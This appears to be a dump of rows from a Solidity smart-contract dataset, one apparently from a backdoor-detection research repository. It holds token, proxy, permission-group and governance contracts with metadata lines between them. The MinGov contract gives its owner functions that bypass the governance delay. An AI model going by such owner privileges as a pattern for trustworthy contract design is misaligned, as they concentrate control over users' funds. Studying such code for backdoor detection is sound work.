(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 254,700 | 12,207 |
26d7fcaca6023e739ab1cc4bb8393a852358c19d4da1bb20deac5dc4039766fa
| 15,394 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x2af2f8caab1c8f94464c63fa055d89b1f2e17d05.sol
| 3,231 | 14,037 |
pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/wrapperContracts/WrapperBase.sol
contract WrapperBase is Withdrawable {
PermissionGroups wrappedContract;
function WrapperBase(PermissionGroups _wrappedContract, address _admin) public {
require(_wrappedContract != address(0));
require(_admin != address(0));
wrappedContract = _wrappedContract;
admin = _admin;
}
function claimWrappedContractAdmin() public onlyAdmin {
wrappedContract.claimAdmin();
}
function transferWrappedContractAdmin (address newAdmin) public onlyAdmin {
wrappedContract.removeOperator(this);
wrappedContract.transferAdmin(newAdmin);
}
function addSignature(address[] storage existingSignatures) internal returns(bool allSigned) {
for(uint i = 0; i < existingSignatures.length; i++) {
if (msg.sender == existingSignatures[i]) revert();
}
existingSignatures.push(msg.sender);
if (existingSignatures.length == operatorsGroup.length) {
allSigned = true;
existingSignatures.length = 0;
} else {
allSigned = false;
}
}
}
// File: contracts/wrapperContracts/WrapConversionRate.sol
contract ConversionRateWrapperInterface {
function setQtyStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function setImbalanceStepFunction(ERC20 token, int[] xBuy, int[] yBuy, int[] xSell, int[] ySell) public;
function claimAdmin() public;
function addOperator(address newOperator) public;
function transferAdmin(address newAdmin) public;
function addToken(ERC20 token) public;
function setTokenControlInfo(ERC20 token,
uint minimalRecordResolution,
uint maxPerBlockImbalance,
uint maxTotalImbalance) public;
function enableTokenTrade(ERC20 token) public;
function getTokenControlInfo(ERC20 token) public view returns(uint, uint, uint);
}
contract WrapConversionRate is WrapperBase {
ConversionRateWrapperInterface conversionRates;
//add token parameters
ERC20 addTokenToken;
uint addTokenMinimalResolution; // can be roughly 1 cent
uint addTokenMaxPerBlockImbalance; // in twei resolution
uint addTokenMaxTotalImbalance;
address[] addTokenApproveSignatures;
address[] addTokenResetSignatures;
//set token control info parameters.
ERC20[] tokenInfoTokenList;
uint[] tokenInfoPerBlockImbalance; // in twei resolution
uint[] tokenInfoMaxTotalImbalance;
bool public tokenInfoParametersReady;
address[] tokenInfoApproveSignatures;
address[] tokenInfoResetSignatures;
//general functions
function WrapConversionRate(ConversionRateWrapperInterface _conversionRates, address _admin) public
WrapperBase(PermissionGroups(address(_conversionRates)), _admin)
{
require (_conversionRates != address(0));
conversionRates = _conversionRates;
tokenInfoParametersReady = false;
}
function getWrappedContract() public view returns (ConversionRateWrapperInterface _conversionRates) {
_conversionRates = conversionRates;
}
// add token functions
//////////////////////
function setAddTokenData(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) public onlyOperator {
require(minimalRecordResolution != 0);
require(maxPerBlockImbalance != 0);
require(maxTotalImbalance != 0);
require(token != address(0));
//can update only when data is reset
require(addTokenToken == address(0));
//reset approve array. we have new parameters
addTokenApproveSignatures.length = 0;
addTokenToken = token;
addTokenMinimalResolution = minimalRecordResolution; // can be roughly 1 cent
addTokenMaxPerBlockImbalance = maxPerBlockImbalance; // in twei resolution
addTokenMaxTotalImbalance = maxTotalImbalance;
}
function signToApproveAddTokenData() public onlyOperator {
require(addTokenToken != address(0));
if(addSignature(addTokenApproveSignatures)) {
// can perform operation.
performAddToken();
resetAddTokenData();
}
}
function signToResetAddTokenData() public onlyOperator() {
require(addTokenToken != address(0));
if(addSignature(addTokenResetSignatures)) {
// can reset data
resetAddTokenData();
addTokenApproveSignatures.length = 0;
}
}
function performAddToken() internal {
conversionRates.addToken(addTokenToken);
//token control info
conversionRates.setTokenControlInfo(addTokenToken,
addTokenMinimalResolution,
addTokenMaxPerBlockImbalance,
addTokenMaxTotalImbalance);
//step functions
int[] memory zeroArr = new int[](1);
zeroArr[0] = 0;
conversionRates.setQtyStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.setImbalanceStepFunction(addTokenToken, zeroArr, zeroArr, zeroArr, zeroArr);
conversionRates.enableTokenTrade(addTokenToken);
}
function resetAddTokenData() internal {
addTokenToken = ERC20(address(0));
addTokenMinimalResolution = 0;
addTokenMaxPerBlockImbalance = 0;
addTokenMaxTotalImbalance = 0;
}
function getAddTokenParameters() public view returns(ERC20 token, uint minimalRecordResolution, uint maxPerBlockImbalance, uint maxTotalImbalance) {
token = addTokenToken;
minimalRecordResolution = addTokenMinimalResolution;
maxPerBlockImbalance = addTokenMaxPerBlockImbalance; // in twei resolution
maxTotalImbalance = addTokenMaxTotalImbalance;
}
function getAddTokenApproveSignatures() public view returns (address[] signatures) {
signatures = addTokenApproveSignatures;
}
function getAddTokenResetSignatures() public view returns (address[] signatures) {
signatures = addTokenResetSignatures;
}
//set token control info
////////////////////////
function setTokenInfoTokenList(ERC20 [] tokens) public onlyOperator {
require(tokenInfoParametersReady == false);
tokenInfoTokenList = tokens;
}
function setTokenInfoMaxPerBlockImbalanceList(uint[] maxPerBlockImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxPerBlockImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoPerBlockImbalance = maxPerBlockImbalanceValues;
}
function setTokenInfoMaxTotalImbalanceList(uint[] maxTotalImbalanceValues) public onlyOperator {
require(tokenInfoParametersReady == false);
require(maxTotalImbalanceValues.length == tokenInfoTokenList.length);
tokenInfoMaxTotalImbalance = maxTotalImbalanceValues;
}
function setTokenInfoParametersReady() {
require(tokenInfoParametersReady == false);
tokenInfoParametersReady = true;
}
function signToApproveTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoApproveSignatures)) {
// can perform operation.
performSetTokenControlInfo();
tokenInfoParametersReady = false;
}
}
function signToResetTokenControlInfo() public onlyOperator {
require(tokenInfoParametersReady == true);
if (addSignature(tokenInfoResetSignatures)) {
// can perform operation.
tokenInfoParametersReady = false;
}
}
function performSetTokenControlInfo() internal {
require(tokenInfoTokenList.length == tokenInfoPerBlockImbalance.length);
require(tokenInfoTokenList.length == tokenInfoMaxTotalImbalance.length);
uint minimalRecordResolution;
uint rxMaxPerBlockImbalance;
uint rxMaxTotalImbalance;
for (uint i = 0; i < tokenInfoTokenList.length; i++) {
(minimalRecordResolution, rxMaxPerBlockImbalance, rxMaxTotalImbalance) =
conversionRates.getTokenControlInfo(tokenInfoTokenList[i]);
require(minimalRecordResolution != 0);
conversionRates.setTokenControlInfo(tokenInfoTokenList[i],
minimalRecordResolution,
tokenInfoPerBlockImbalance[i],
tokenInfoMaxTotalImbalance[i]);
}
}
function getControlInfoPerToken (uint index) public view returns(ERC20 token, uint _maxPerBlockImbalance, uint _maxTotalImbalance) {
require (tokenInfoTokenList.length > index);
require (tokenInfoPerBlockImbalance.length > index);
require (tokenInfoMaxTotalImbalance.length > index);
return(tokenInfoTokenList[index], tokenInfoPerBlockImbalance[index], tokenInfoMaxTotalImbalance[index]);
}
function getControlInfoTokenlist() public view returns(ERC20[] tokens) {
tokens = tokenInfoTokenList;
}
function getControlInfoMaxPerBlockImbalanceList() public view returns(uint[] maxPerBlockImbalanceValues) {
maxPerBlockImbalanceValues = tokenInfoPerBlockImbalance;
}
function getControlInfoMaxTotalImbalanceList() public view returns(uint[] maxTotalImbalanceValues) {
maxTotalImbalanceValues = tokenInfoMaxTotalImbalance;
}
}
| 143,212 | 12,208 |
c82aec04a33070de8588c6a85f31e3ad744db1df23b420c00fd94d008f9b1b7c
| 18,430 |
.sol
|
Solidity
| false |
301940069
|
eff-kay/solidity-nicad
|
3a3b3fe876ef57f52247aa371b9841ff2589b7e5
|
data/smart_contracts/MinGov.sol
| 2,620 | 9,823 |
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//Copied from zos-lib due to import fix needed in UpgradeabilityProxy.sol
//copied from zos-lib due to import fix needed:
contract Proxy {
function () external payable {
_fallback();
}
function _implementation() internal view returns (address);
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
function _willFallback() internal {
}
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
constructor(address _implementation, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
if (_data.length > 0) {
bool rv;
(rv,) = _implementation.delegatecall(_data);
require(rv);
}
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
constructor(address _implementation, bytes memory _data) UpgradeabilityProxy(_implementation, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(msg.sender);
}
function admin() external ifAdmin returns (address) {
return _admin();
}
function implementation() external ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeTo(newImplementation);
bool rv;
(rv,) = newImplementation.delegatecall(data);
require(rv);
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract AdminableProxy is AdminUpgradeabilityProxy {
constructor(address _implementation, bytes memory _data)
AdminUpgradeabilityProxy(_implementation, _data) public payable {
}
function applyProposal(bytes calldata data) external ifAdmin returns (bool) {
bool rv;
(rv,) = _implementation().delegatecall(data);
return rv;
}
}
contract MinGov is Ownable {
uint256 public proposalTime;
uint256 public first;
uint256 public size;
struct Proposal {
address subject;
uint32 created;
bool canceled;
bytes msgData;
}
mapping(uint256 => Proposal) public proposals;
event NewProposal(uint256 indexed proposalId, address indexed subject, bytes msgData);
event Execution(uint256 indexed proposalId, address indexed subject, bytes msgData);
constructor(uint256 _proposalTime) public {
proposalTime = _proposalTime;
first = 1;
size = 0;
}
function propose(address _subject, bytes memory _msgData) public onlyOwner {
require(size < 5);
proposals[first + size] = Proposal(_subject,
uint32(now),
false,
_msgData);
emit NewProposal(first + size, _subject, _msgData);
size++;
}
function cancel(uint256 _proposalId) public onlyOwner() {
Proposal storage prop = proposals[_proposalId];
require(prop.created > 0);
require(prop.canceled == false);
prop.canceled = true;
}
function withdrawTax(address _token) public onlyOwner {
IERC20 token = IERC20(_token);
token.transfer(owner(), token.balanceOf(address(this)));
}
function finalize() public {
for (uint256 i = first; i < first + size; i++) {
Proposal memory prop = proposals[i];
if (prop.created + proposalTime <= now) {
if (!prop.canceled) {
bool rv;
bytes4 sig = getSig(prop.msgData);
// 0x8f283970 = changeAdmin(address)
// 0x3659cfe6 = upgradeTo(address)
// 0x983b2d56 = addMinter(address)
if (sig == 0x8f283970||sig == 0x3659cfe6||sig == 0x983b2d56) {
// this changes proxy parameters
(rv,) = prop.subject.call(prop.msgData);
} else {
// this changes governance parameters to the implementation
rv = AdminableProxy(address(uint160(prop.subject))).applyProposal(prop.msgData);
}
if (rv) {
emit Execution(i, prop.subject, prop.msgData);
}
}
delete proposals[i];
first++;
size--;
}
}
}
// proxy function to manage validator slots without governance delay
function setSlot(uint256 _slotId, address, bytes32) public onlyOwner {
// extract subject
address payable subject = address(uint160(_slotId >> 96));
// strip out subject from data
bytes memory msgData = new bytes(100);
assembly {
calldatacopy(add(msgData, 32), 0, 4)
calldatacopy(add(msgData, 56), 24, 76)
}
// call subject
require(AdminableProxy(subject).applyProposal(msgData), "setSlot call failed");
}
function getSig(bytes memory _msgData) internal pure returns (bytes4) {
return bytes4(_msgData[3]) >> 24 | bytes4(_msgData[2]) >> 16 | bytes4(_msgData[1]) >> 8 | bytes4(_msgData[0]);
}
// proxy function to manage tokens without governance delay
// token types: 0 = ERC20, 1 = ERC721, 2 = ERC1948
function registerToken(address payable _subject, address _token, uint256 _type) public onlyOwner {
require(AdminableProxy(_subject).applyProposal(abi.encodeWithSignature("registerToken(address,uint256)", _token, _type)),
"registerToken call failed");
}
}
| 159,427 | 12,209 |
7b748343ceda2588de81552b127af7e79621b6527fa7c38b5030f19483c3fe52
| 27,174 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/53/53D9293f7e4cDA00eEf7Bc8d095Cb3Cd8f34C8Eb_StillSwapper.sol
| 3,873 | 14,757 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
